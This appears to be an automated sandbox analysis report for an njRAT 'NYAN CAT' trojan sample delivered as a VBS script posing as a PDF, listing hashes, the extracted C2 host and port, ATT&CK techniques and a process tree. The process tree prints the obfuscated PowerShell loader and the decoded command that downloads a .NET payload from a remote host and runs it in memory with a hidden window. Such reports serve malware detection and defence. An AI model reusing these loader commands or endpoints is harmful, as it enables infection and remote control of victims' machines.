njrat | 7bb19c68aaf145e837e104b39f5c2b967d52191eb8e71846ac8e697d3c027873

Analysis

max time kernel
149s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
10/07/2023, 09:37

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General

Target
Ad8556545S2125565444l55645554S4456M50001_pdf.vbs
Size 319KB
Sample230710-lln4cshf49
SHA256 7bb19c68aaf145e837e104b39f5c2b967d52191eb8e71846ac8e697d3c027873
MD5 f8b41b499604e82eb0e6510383a90e34
SHA1 b5699fd8dba7bc35ea5946af35e8ea51a58ea4b6
SHA512 efc632012ba97d3d091799fba09058f6bee3fd6780d859931c5dfeeace49003f0ac620950dc247af669701661f94aa27dc65b292c803971324bc1076f2742c78
SSDEEP 192:iTvQpQjcZZZMC/C2zOzYEAPK+aQyleZ4nUlypKr:izQpQjwnj/C2zOzYEAy+Hy4ZeUlypKr
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

njrat nyan cat trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://cryptersandtools.minhacasa.tv/e/e

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

todosnj4343.duckdns.org:4343

Mutex

91870a25e1f

Attributes

reg_key
91870a25e1f
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
15	708	powershell.exe
18	708	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1043950675-1972537973-2972532878-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 708 set thread context of 3588	708	powershell.exe	87

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3624	powershell.exe
3624	powershell.exe
708	powershell.exe
708	powershell.exe
708	powershell.exe
708	powershell.exe

Suspicious use of AdjustPrivilegeToken 37 IoCs

description	pid	Process
Token: SeDebugPrivilege	3624	powershell.exe
Token: SeDebugPrivilege	708	powershell.exe
Token: SeDebugPrivilege	3588	RegAsm.exe
Token: 33	3588	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3588	RegAsm.exe
Token: 33	3588	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3588	RegAsm.exe
Token: 33	3588	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3588	RegAsm.exe
Token: 33	3588	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3588	RegAsm.exe
Token: 33	3588	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3588	RegAsm.exe
Token: 33	3588	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3588	RegAsm.exe
Token: 33	3588	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3588	RegAsm.exe
Token: 33	3588	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3588	RegAsm.exe
Token: 33	3588	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3588	RegAsm.exe
Token: 33	3588	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3588	RegAsm.exe
Token: 33	3588	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3588	RegAsm.exe
Token: 33	3588	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3588	RegAsm.exe
Token: 33	3588	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3588	RegAsm.exe
Token: 33	3588	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3588	RegAsm.exe
Token: 33	3588	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3588	RegAsm.exe
Token: 33	3588	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3588	RegAsm.exe
Token: 33	3588	RegAsm.exe
Token: SeIncBasePriorityPrivilege	3588	RegAsm.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2788 wrote to memory of 3624	2788	WScript.exe	83
PID 2788 wrote to memory of 3624	2788	WScript.exe	83
PID 3624 wrote to memory of 708	3624	powershell.exe	85
PID 3624 wrote to memory of 708	3624	powershell.exe	85
PID 708 wrote to memory of 3028	708	powershell.exe	86
PID 708 wrote to memory of 3028	708	powershell.exe	86
PID 708 wrote to memory of 3028	708	powershell.exe	86
PID 708 wrote to memory of 3588	708	powershell.exe	87
PID 708 wrote to memory of 3588	708	powershell.exe	87
PID 708 wrote to memory of 3588	708	powershell.exe	87
PID 708 wrote to memory of 3588	708	powershell.exe	87
PID 708 wrote to memory of 3588	708	powershell.exe	87
PID 708 wrote to memory of 3588	708	powershell.exe	87
PID 708 wrote to memory of 3588	708	powershell.exe	87
PID 708 wrote to memory of 3588	708	powershell.exe	87

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Ad8556545S2125565444l55645554S4456M50001_pdf.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC⁂Hk⁂d⁂Bl⁂Fs⁂XQBd⁂C⁂⁂J⁂BE⁂Ew⁂T⁂⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂QwBv⁂G4⁂dgBl⁂HI⁂d⁂Bd⁂Do⁂OgBG⁂HI⁂bwBt⁂EI⁂YQBz⁂GU⁂Ng⁂0⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂K⁂BO⁂GU⁂dw⁂t⁂E8⁂YgBq⁂GU⁂YwB0⁂C⁂⁂TgBl⁂HQ⁂LgBX⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂p⁂C4⁂R⁂Bv⁂Hc⁂bgBs⁂G8⁂YQBk⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂JwBo⁂HQ⁂d⁂Bw⁂Do⁂Lw⁂v⁂GM⁂cgB5⁂H⁂⁂d⁂Bl⁂HI⁂cwBh⁂G4⁂Z⁂B0⁂G8⁂bwBs⁂HM⁂LgBt⁂Gk⁂bgBo⁂GE⁂YwBh⁂HM⁂YQ⁂u⁂HQ⁂dg⁂v⁂GU⁂LwBl⁂Cc⁂KQ⁂p⁂Ds⁂WwBT⁂Hk⁂cwB0⁂GU⁂bQ⁂u⁂EE⁂c⁂Bw⁂EQ⁂bwBt⁂GE⁂aQBu⁂F0⁂Og⁂6⁂EM⁂dQBy⁂HI⁂ZQBu⁂HQ⁂R⁂Bv⁂G0⁂YQBp⁂G4⁂LgBM⁂G8⁂YQBk⁂Cg⁂J⁂BE⁂Ew⁂T⁂⁂p⁂C4⁂RwBl⁂HQ⁂V⁂B5⁂H⁂⁂ZQ⁂o⁂Cc⁂RgBp⁂GI⁂ZQBy⁂C4⁂S⁂Bv⁂G0⁂ZQ⁂n⁂Ck⁂LgBH⁂GU⁂d⁂BN⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂o⁂Cc⁂VgBB⁂Ek⁂Jw⁂p⁂C4⁂SQBu⁂HY⁂bwBr⁂GU⁂K⁂⁂k⁂G4⁂dQBs⁂Gw⁂L⁂⁂g⁂Fs⁂bwBi⁂Go⁂ZQBj⁂HQ⁂WwBd⁂F0⁂I⁂⁂o⁂Cc⁂d⁂B4⁂HQ⁂LgBz⁂G8⁂Z⁂Bv⁂HQ⁂bwBp⁂HU⁂bgBq⁂C8⁂MQ⁂4⁂DY⁂Mg⁂3⁂DQ⁂Mw⁂y⁂Dg⁂Nw⁂2⁂D⁂⁂Mg⁂0⁂DI⁂O⁂⁂x⁂DE⁂MQ⁂v⁂DE⁂Mg⁂x⁂DM⁂Nw⁂3⁂D⁂⁂Ng⁂1⁂DQ⁂M⁂⁂w⁂DI⁂N⁂⁂y⁂Dg⁂MQ⁂x⁂DE⁂LwBz⁂HQ⁂bgBl⁂G0⁂a⁂Bj⁂GE⁂d⁂B0⁂GE⁂LwBt⁂G8⁂Yw⁂u⁂H⁂⁂c⁂Bh⁂GQ⁂cgBv⁂GM⁂cwBp⁂GQ⁂LgBu⁂GQ⁂Yw⁂v⁂C8⁂OgBz⁂H⁂⁂d⁂B0⁂Gg⁂Jw⁂p⁂Ck⁂';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3624
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://cryptersandtools.minhacasa.tv/e/e'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.sodotoiunj/1862743287602428111/1213770654002428111/stnemhcatta/moc.ppadrocsid.ndc//:sptth'))"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:708
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:3028
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3588

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
MD5 f41839a3fe2888c8b3050197bc9a0a05
SHA1 0798941aaf7a53a11ea9ed589752890aee069729
SHA512 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
MD5 d8b9a260789a22d72263ef3bb119108c
SHA1 376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA512 550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
MD5 SHA1 SHA512

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__PSScriptPolicyTest_wu2nciv3.y5p.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wu2nciv3.y5p.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/708-155-0x000001B05AD10000-0x000001B05AD20000-memory.dmp

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memory/708-156-0x000001B05AD10000-0x000001B05AD20000-memory.dmp

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memory/3588-165-0x0000000005260000-0x00000000052F2000-memory.dmp

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memory/3588-157-0x0000000000400000-0x000000000040C000-memory.dmp

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memory/3588-163-0x0000000005010000-0x00000000050AC000-memory.dmp

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memory/3588-164-0x0000000005660000-0x0000000005C04000-memory.dmp

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memory/3588-166-0x00000000051B0000-0x00000000051C0000-memory.dmp

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memory/3588-167-0x0000000005230000-0x000000000523A000-memory.dmp

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memory/3588-168-0x00000000054C0000-0x0000000005526000-memory.dmp

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memory/3588-169-0x00000000051B0000-0x00000000051C0000-memory.dmp

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memory/3624-154-0x0000021A69B00000-0x0000021A69B10000-memory.dmp

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memory/3624-135-0x0000021A69B00000-0x0000021A69B10000-memory.dmp

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memory/3624-134-0x0000021A69B00000-0x0000021A69B10000-memory.dmp

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memory/3624-133-0x0000021A69DB0000-0x0000021A69DD2000-memory.dmp

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